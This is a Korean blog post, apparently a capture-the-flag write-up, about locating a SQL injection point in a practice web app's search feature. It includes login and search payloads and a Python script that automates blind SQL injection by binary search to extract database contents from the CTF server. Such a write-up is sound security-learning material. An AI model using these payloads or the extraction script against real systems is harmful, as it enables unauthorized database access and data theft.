[0]Before we start
-SQL Injection Point 문제는 SQL Injection 기법에 대한 문제라기보다, SQL Injection이 일어나는 곳에 집중한 문제들입니다.
*https://x4uiry.tistory.com/37
SQL Injection Point 1
x4uiry.tistory.com
-위 SQL Injeciton Point 문제 1번에서 서술한 것처럼 SQL Injeciton Point를 찾는 것을 중점으로 하고, 전체적인 구조와 Blind SQL Injeciton에 대한 설명은 위의 포스팅을 참고해주시길 바랍니다.
[1]Reconnaissance
Check SQL Injection Point
-전체적인 구조가 변하지는 않았습니다.
-SQL Injection 포인트로 로그인과 글 검색 기능, 마이페이지에서 user의 이름을 가져오는 기능으로 추려볼 수 있을 것 같습니다.
*SQL Injection은 상황에 따라 모든 SQL 구문에서 발생할 수 있습니다만, 경우의 수를 가장 작게 하고 시작하기 위해 추출을 할 수 있는 SQL Injection으로 목표를 맞췄습니다.
[1]Check Login
-제가 가입한 계정은 id:"dd", pw:"d" 입니다.
-만약 id에서 SQL Injection이 발생한다면 두 가지의 시도를 해볼 수 있습니다.
>id에 dd' and '1'='1 을 삽입하고 pw에 d을 삽입하여 로그인이 되는가? -> SQL Injeciton 발생
-실패
>id에 dd' and (select 1 union select 2) and '1'='1을 삽입하고 pw에 3을 삽입해서 에러 메세지가 발생하는가? -> 에러 메세지로 인한 Blind SQL Injection이 가능할 수 있습니다.
-실패
[2]Check Search Tab
-option_val은 Column을, board_results는 Column의 값을 전송하는 것으로 추측됩니다.
-또한 값을 클라이언트 측에서 수정해 보낼 수 있으므로, SQL 구문을 "구문 and username='{board_results}'..." 라고 가정할 시, option_val에 '1'='1' and username으로 전송해도 결과값이 같다면 SQL Injection이 가능할 것입니다.
-추가로 board_results 값을 dd' and '1'='1 로 전송해서 결과값이 같다면 SQL Injection이 가능할 것입니다.
-결과가 조작하지 않은 것과 같습니다. 따라서 SQL Injeciton이 가능합니다.
[3]Check My Page
-전 문제에서 SQL Injection이 발생했던 마이 페이지입니다.
-user 쿠키를 가져와 그대로 사용했던 것과 달리 세션 ID로 user의 정보를 가져오는 것으로 추측할 수 있습니다.
-SQL Injection은 힘들어보입니다.
[2]Vulnerability
Blind SQL Injeciton
-이번 blind SQL Injection의 포인트는 column 이름에 대한 조작입니다.
-아마 게시글에 대한 검색문은 아래와 같이 추측할 수 있을 것입니다.
select userId, title, views, date from table_a where {option_val} like '%{board_result}%' and date......
-여기서 option_val 부분에 '1' = '1' and username을 삽입하였기 때문에 결과 값이 같을 수 있던 겁니다.
-참의 경우, dd가 쓴 hole이라는 제목의 글이 나타나지만, 거짓의 경우 결과가 없을 것입니다.
공격 포멧
-따라서 공격포멧은 아래와 같습니다
option_val: '1'='1' and (__condition__)=__check_value__ and username
board_result: dd
-condition에 select length(database())를 check_value에 3을 넣으면 database() 값의 길이가 3인가? 라는 공격 구문이 완성됩니다.
자동화
-이진 탐색을 이용해 python 코드를 작성하면 아래와 같습니다.
import requests as req
sess = req.Session()
url = 'http://ctf.segfaulthub.com:7777/sqli_7/notice_list.php'
def get_len(ATTACK):
sp = ATTACK.split(" ")
ATTACK = ("".join(f'length({sp[x]}) ' if x == 1 else f'{sp[x]} ' for x in range(len(sp))))[:-1]
num = 1
while(1):
query = f"'1'='1' and ({ATTACK})={num} and username"
print(query)
res = sess.post(url, cookies={'user':query,'PHPSESSID':'__your__info__', 'session':'__your__info__'}, data={'option_val':query,'board_result':'d','board_search':'🔍', 'date_from':'', 'date_to':''})
if "hole" in res.text:
number = num
break
elif num>40:
print("No results")
return -1
else:
num += 1
continue
print(f"Length : {number}")
return number
def get_query(length, ATTACK):
data = ''
sp2 = ATTACK.split(" ")
for _ in range(1,length+1):
min_ = 32
max_ = 126
ATTACK = ("".join(f'ord(substr({sp2[x]},{str(_)},1)) ' if x == 1 else f'{sp2[x]} ' for x in range(0,len(sp2))))[:-1]
while(1):
mid = (max_+min_)/2
query = f"'1'='1' and ({ATTACK})>{mid} and username"
res = sess.post(url, cookies={'user':query,'PHPSESSID':'__your__info__', 'session':'__your__info__'}, data={'option_val':query,'board_result':'d','board_search':'🔍', 'date_from':'', 'date_to':''})
if("hole" in res.text):
min_ = mid
else:
max_ = mid
if(max_-min_<=1 and max_==mid):
data = data + chr(int(mid))
print(chr(int(mid)), end="\0")
break
return data
if __name__ == "__main__":
while(1):
ATTACK = input("Please Enter the Query >> ")
number = get_len(ATTACK)
if (number == -1):
print("Hey, Check your Query")
continue
res = get_query(number,ATTACK)
print("")
[3]Flag
'write-up > web' 카테고리의 다른 글
SQL Injection Point 4 (0) | 2024.06.11 |
---|---|
SQL Injection Point 3 (0) | 2024.06.11 |
SQL Injection Point 1 (0) | 2024.06.06 |
SQL Injection 6 (0) | 2024.06.05 |
SQL Injeciton 3&4&5 (0) | 2024.06.03 |